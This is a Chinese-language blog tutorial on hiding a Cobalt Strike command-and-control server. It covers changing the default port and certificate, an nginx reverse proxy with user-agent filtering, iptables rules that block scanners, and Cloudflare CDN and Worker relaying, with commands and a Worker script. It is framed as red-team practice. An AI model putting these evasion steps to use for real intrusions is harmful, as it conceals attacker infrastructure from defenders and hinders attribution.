前言
首先紅藍對抗的時候,如果未修改CS特征、容易被藍隊溯源。
前段時間360公布了cobalt strike stage uri的特征,並且緊接着nmap掃描插件也發布了。雖說這個特征很早就被發現了,但最近正好我的ip被卡巴斯基拉黑了/(ㄒoㄒ)/~~,所以來折騰一下。
關於隱藏cobalt strike的特征,網上有很多方法。例如nginx反代、域前置、修改源碼等方法。本此主要從nginx反代、cloudflare cdn、cloudflare worker 這三個方面說一下如何隱藏cobalt strike stage uri的特征,以及進一步隱藏c2域名和IP的方法。並記錄一下部署過程中遇到的坑點。
想了解域前置技術的小伙伴可以先百度了解一下。cloudflare無法使用域前置,因為它會校驗SNI。目前不知到阿里雲還行不行。本着匿名,加上cloudlfare免費、對國外訪問支持比較好的特點,所以選擇了cloudflare。下面介紹一下常見的去特征方式。
去特征的幾種常見方法
- 1、更改默認端口
方法一、直接編輯teamserver進行啟動項修改。
vi teamserver
方法二、啟動時候指定server_port
java -XX:ParallelGCThreads=4 -Duser.language=en -Dcobaltstrike.server_port=50505 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024m -classpath ./cobaltstrike.jar server.TeamServer xxx.xxx.xx.xx test google.profile
- 2、去除證書特征
Cobalt Strike默認的證書已經是分分鍾被逮,所以需要生成一個新的證書
這里可以用keytool這個工具。操作簡單。Keytool是一個Java數據證書的管理工具,Keytool將密鑰(key)和證書(certificates)存在一個稱為keystore的文件中,即store后綴文件中。
命令:
‐certreq 生成證書請求
‐changealias 更改條目的別名
‐delete 刪除條目
‐exportcert 導出證書
‐genkeypair 生成密鑰對
‐genseckey 生成密鑰
‐gencert 根據證書請求生成證書
‐importcert 導入證書或證書鏈
‐importpass 導入口令
‐importkeystore 從其他密鑰庫導入一個或所有條目
‐keypasswd 更改條目的密鑰口令
‐list 列出密鑰庫中的條目
‐printcert 打印證書內容
‐printcertreq 打印證書請求的內容
‐printcrl 打印 CRL 文件的內容
‐storepasswd 更改密鑰庫的存儲口令
使用命令
keytool -keystore CobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
沒改之前
改了之后
這些只是要了解的基礎,接下來我們就在這上面的基礎上,再添加幾步。
0x01 部署Nginx反向代理以及https上線
如果在cobalt strike的c2 malleable配置文件中沒有自定義http-stager的uri。默認情況下,通過訪問默認的uri,就能獲取到cs的shellcode。加密shellcode的密鑰又是固定的(3.x 0x69,4.x 0x2e),所以能從shellcode中解出c2域名等配置信息。如圖是nmap掃描插件的掃描結果。
修改這個特征的方法有很多,可以修改源碼加密的密鑰,參考:Bypass cobaltstrike beacon config scan
但是光這樣也很容易被掃描檢測到,所以我們最好還得配置防火牆,限制訪問Cs監聽的端口
接下來介紹的是我用的一種方法:設置iptables,只允許localhost訪問cs listener監聽的端口。將外部請求通過nginx轉發到localhost上的listener。還可以在nginx上設置過濾規則來允許特定請求。
配置/etc/nginx/nginx.conf文件
首先配置conf文件,Nginx一鍵安裝,在配置文件中設置只允許特定的請求頭訪問CS的監聽端口。這里要根據你的cs配置文件來進行利用,我用的是jquery-c2.4.0.profile
配置如下:只有用我們所指定的請求頭的請求才能被反向代理到stage uri
location ~*/jquery {
if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") {
return 302 $REDIRECT_DOMAIN$request_uri;
}
proxy_pass https://127.0.0.1:5553;
申請https證書
這里可以直接在cloudflare上申請(申請的域名需要與nginx上設置的域名一致(就是要真實訪問的域名)),非常方便,選擇默認的pem格式
分別復制內容保存為key.pem和chain.pem上傳到cs的服務器上,再在nginx配置文件中啟用證書。
server_name img.xxxx.tk
root /usr/share/nginx/html;
ssl_certificate "/usr/local/cs/all/uploads/sss.pem";
ssl_certificate_key "/usr/local/cs/all/uploads/ssk.pem";
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 1440m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # managed by Certbot
ssl_prefer_server_ciphers on; # managed by Certbot
為cobalt strike 配置證書
- 1.生成img.xxxx.tk.store文件
openssl pkcs12 -export -in /api.xxx.com/sss.pem -inkey /api.xxx.com/ssk.pem -out api.xxx.com.p12 -name api.xxx.com -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore api.xxx.com.store -srckeystore api.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias api.xxx.com
- 2.將生成的api.xxx.com.store放到cs目錄下,修改teamserver文件最后一行,將cobaltstrike.store修改為api.xxx.com.store和store文件對應的密碼。
(有必要的話,把端口號也可以改了並設置iptables只允許特定ip訪問)
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=40120 -Djavax.net.ssl.keyStore=./api.xxx.com.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*
- 3.將 keystore 加入 Malleable C2 profile 中
https-certificate {
set keystore “api.xxx.com.store”;
set password “123456”;
}
然后啟動cs設置listener。
這里https port(bind):設置的43211(cs會把端口開在43211),在nginx配置文件中的將proxy_pass設置為:https://127.0.0.1:43211。
開啟listener之后設置iptables,只允許127.0.0.1訪問。這下nmap也就掃不出來了。
iptables -A INPUT -s 127.0.0.1 -p tcp --dport 43211 -j ACCEPT
iptables -A INPUT -p tcp --dport 43211 -j DROP
到此為止,隱藏cobalt strike特征的設置就暫時告一段落,下面繼續說如何隱藏cs服務器ip和域名。
0x02 配置cloudflare cdn
- 1.先添加域名
- 2.添加A記錄,指向VPS的IP地址
選擇免費版本,設置要加速的子域名,並在你的域名服務商處修改域名解析dns為cloudflare的dns。 - 3.稍等一會,經過cloudflare驗證成功后,本地nslookup域名,看一下生效沒有。
關閉緩存
為了實時受到我們的命令的響應:我們需要修改緩存規則:
cloudflare能開啟開發模式,來禁用緩存,但是只有3個小時。我們可以通過頁面規則來永久設置緩存規則。
因為cs配置文件中設置的uri都是js結尾的,所以這里使用*js
來匹配所有uri。
坑點
這里設置cs配置文件時候需要,需要將頭設置為header "Content-Type" "application/*; charset=utf-8";
不然可能會出現能上線但是無法回顯命令的情況
這里的mime-type如果為application/javascript、text/html等,機器執行命令就無法回顯。我懷疑是cdn會檢測響應頭content-type的值,如果是一些靜態文件的mime-type可能就導致這個問題。
至此,cdn就配置完了。並且能通過cdn正常上線。
配置cloudflare worker
配置這個就類似域前置的作用,但是能找到還能夠進行域前置技術的CDN還是用域前置比較好,cloudfalre worker可以說只是一個替代品。
cloudflare worker能夠執行無服務器函數,免費用戶有10萬請求/每天的額度。並且你能自定義workers.dev的子域。我們可以編寫js處理以及轉發請求。
js腳本如下,需要設置X-Forwarded-For頭,不然上線的ip是worker的ipv6地址。
let upstream = 'https://img.xxx.tk'
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})
async function fetchAndApply(request) {
const ipAddress = request.headers.get('cf-connecting-ip') || '';
let requestURL = new URL(request.url);
let upstreamURL = new URL(upstream);
requestURL.protocol = upstreamURL.protocol;
requestURL.host = upstreamURL.host;
requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
let new_request_headers = new Headers(request.headers);
new_request_headers.set("X-Forwarded-For", ipAddress);
let fetchedResponse = await fetch(
new Request(requestURL, {
method: request.method,
headers: new_request_headers,
body: request.body
})
);
let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
modifiedResponseHeaders.delete('set-cookie');
return new Response(
fetchedResponse.body,
{
headers: modifiedResponseHeaders,
status: fetchedResponse.status,
statusText: fetchedResponse.statusText
}
);
}
點擊保存部署,訪問xxx.ttttt-api.workers.dev域名,看看是否正常。然后在listener中設置
到此設置完畢。
之后通信的請求都是通過xxx.xxx.workers.dev進行的,隱藏了真實域名。並且shellcode通信的ip地址也是cloudflare的ip。